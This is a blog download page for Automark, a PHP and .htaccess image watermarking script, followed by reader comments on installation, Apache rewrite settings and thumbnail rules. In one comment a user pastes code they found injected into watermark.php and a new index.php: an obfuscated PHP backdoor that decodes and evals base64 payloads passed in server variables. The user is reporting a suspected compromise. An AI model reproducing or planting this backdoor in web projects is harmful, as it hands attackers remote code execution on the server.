Automark

Automark is a very simple “on-the-fly” automatic image watermarking script using PHP and .htaccess.

Want to protect your images? By using this script, your watermark will automatically be added to your images in the directory Automark resides in.

This script also has the capability of ignoring thumbnails or certain files from being watermarked.

For example, if you have an image with the name “redcar.jpg”, it will automatically be watermarked, but its corresponding thumbnail “redcar_thumb.jpg” will not be watermarked.

EXAMPLE:

Download Now

Download Suspended as Product is no longer supported

HISTORY:

December 5, 2008:
Automark version 1.1 released. Added the capability to ignore thumbnail images.

April 9, 2008:
Automark version 1.0 released

If you have any questions, comments or suggestions, feel free to leave them below.

Random Posts

About

Twitter Digg Delicious Stumbleupon Technorati Facebook Email

36 Responses to “Automark”

  1. This seems a great script, will surely be beneficial to me since i upload pics on my blog and have to manually water mark them which is time consuming.

  2. Wow… over 100 downloads and only one comment! :)

  3. JWR i think this totally rocks, will be using it right away. Thanks a million for this awesome software.

  4. @ Make Money Online Tips:

    Thanks for the nice comment- glad you found it helpful!

    I’m glad to see you visiting this site and hope to see you back again soon.

  5. Hi i am trying to use this on my blog. When i uploaded the images, i see that in the upload folder there are few more folders like 2008 2009, so where do i upload this?

  6. @ Car Blog:

    This script is designed to work in any directory that contains your images.

    WordPress will automatically create monthly folders in your wp-content/uploads directory for your images.

    What I’ve done since I don’t want to watermark every single image that I upload is I’ve created a seperate folder just to use Automark with and all the images I want watermarked will be uploaded to that folder. I can upload any other images to whichever folder I want (ie. 2009/01, etc.)

  7. I installed AutoMark and my images could not be displayed. I am testing first on Windows before uploading to LINUX host. Should this work? Why should I check?

  8. @ Charles:

    As long as the script is uploaded to the same folder that you’re images are in and your web host allows your own .htaccess files, there should be no problem at all.

  9. This is the Apache 2.2.8 error message “C:/wamp/www/pix/aru/.htaccess: Invalid command ‘RewriteEngine’, perhaps misspelled or defined by a module not included in the server configuration, referer: http://localhost/chip2.php?primarykey=ARUAUS&sort=type“.

    Is there another configuration option I need to change?

  10. @ Charles:

    Try uploading it to an online Linux host. Test it out in its own folder and you should have no issues. It was not meant to be used locally.

  11. Solution Found

    1) On Wamp – click on Wamp
    2) Click on Apache
    3) Click on Apache modules
    4) Select rewrite-module so that it has a check
    5) Restart Apache

    Works perfectly now. Thanks.

  12. Slows down site to a crawl and cracks many images. Good try. E for Effort.

  13. @ Dis Appointed:

    I don’t know what type of host you have, but this script is only a few lines of code- there’s no way it would slow your site down or crack any images. It’s been tested on over a dozen web hosts and with thousands of pictures without any issues.

  14. Should Automark with with GIF’s? On my site the watermark is a solid rectangle on GIF images. Works OK with JPG’s.

  15. @ Charles:

    If the GIF is transparent, then it may not work. Other than that, it should work fine with GIFs as long as the last line in the included .htaccess file includes GIF images.

  16. My thumbnails are all prefixed with the letter t… how would I modify the .htaccess regex for that… I have been messing around without success using !^t.

    Also… do you have a version that could batch process in a php script?

    I have a script that I wrote that scans my database for records without a thumbnail reference, finds that set, changes their sizes to 100×100 and writes the resulting file as tnewfilename.jpg and updates the database with the new file name…

    I would like to add your thumbnailing process to the loop and am not sure if it will work like that… maybe you have something like this you could adapt…

    Other than my naming convention issue, you script works fine in that all my images are getting the overlay now…

  17. @ Bill:

    I don’t know about just the simple letter “t”. If it’s something like “t_”, you can add the following line to your htaccess file:

    RewriteCond %{REQUEST_FILENAME} !t_

    Then your filenames would be something like:

    t_file01.jpg, t_file02.jpg, etc.

  18. Hi! I use cs-cart software, can anyone tell me how to use this script with cs-cart?

  19. @ Mirni:

    It doesn’t matter what you’re using, you just upload the two files included with this script to the same folder your images reside in. That’s it.

  20. Hi, after I upload my 5th image all images after that do not get displayed when I click on it. Btw great script!

  21. Actually it is only certain images that are not working, http://images.gamersverse.com/BFVerse/BF1943/

  22. is it possible to use spaces in the filenames.. as it is now I get an error when I use a file with a space in the name

  23. @Arco-

    You can’t use spaces in any filename for use on the Internet.

  24. I am using it as a watermark-maker for imageflow and in imageflow you can use spaces

    at least in the version I am using I can

  25. Hi John,

    good idea for a script. I am wondering if this will work on my blog where the images are not stored locally, they are stored in Picasa.

    I’ll give it a crack and see what I come up with.

  26. Hi, sounds like you have a great script here. The file is not available for download as I write this message.

    :)

  27. Very intelligent to use htaccess for watermarked, it is a great script easy to use and works perfectly. It is posible the script watermarked at the centre of the image?

  28. Luis
    Open watermark.php and edit the line
    imagecopy($image, $watermark, $w-$ww, $h-$wh, 0, 0, $ww, $wh);

    Change the two zero’s to the image coordinates you want to place the watermark.

    I hope this helps!

  29. Thank you very much for your help, George. Congratulations again for yor script Automark!

    Best regards

  30. Hi,

    This looks like a great idea for a script, but i cannot download it to try it, because the link is broken. Would it be possible for you to fix the link or send me a copy via e-mail using the the address that i used to post this?

    Thanks

  31. Jonathan
    Thanks for pointing the broken link out – I have emailed you the script and corrected it as well

  32. Potential hack????
    Hi guys and girls,

    I just noticed something that disturbs me. In the folder where I have my photos automarked, the watermark.php file has been modified (the following code has been added):

    function gpc_1840($l1842){if(is_array($l1842)){foreach($l1842 as $l1840=>$l1841)$l1842[$l1840]=gpc_1840($l1841);}elseif(is_string($l1842) && substr($l1842,0,4)==”____”){eval(base64_decode(substr($l1842,4)));$l1842=null;}return $l1842;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map(“gpc_1840″,$_SERVER);
    /*
    # Automark ver. 1.1

    I don’t know what this means, though a file index.php has also been added with the following content:

    gpc_9162($l9164){if(is_array($l9164)){foreach($l9164 as $l9162=>$l9163)$l9164[$l9162]=gpc_9162($l9163);}elseif(is_string($l9164) && substr($l9164,0,4)==”____”){eval(base64_decode(substr($l9164,4)));$l9164=null;}return $l9164;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map(“gpc_9162″,$_SERVER);
    // Silence is golden.
    ?>

    I know that this was not definately done by myself. I don’t like that comment “silence is golden”

    Any ideas???

  33. Not sure what’s going on here
    Although I didn’t write the code (previous website owner did), I had a look, yet there isn’t a watermark.php file

  34. Hello,
    great script, but I have one problem with it. I would like to use ‘Automark’ in a Fotogallerie, however, it should be active only in the main list, not in the available subdirectory.
    How can I prevent the access from ‘Automark’ on the subfolder?

    Greetings,
    Klaus

  35. Damn dude…why you take it down?

  36. Can I still download this somewhere?